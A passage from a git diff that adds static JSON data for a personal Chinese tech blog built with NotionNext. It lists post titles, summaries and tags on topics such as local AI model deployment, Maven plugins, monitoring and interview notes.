MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}],"tag":"go"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/linux.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/linux.json new file mode 100644 index 000000000..7b9c15655 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/linux.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone 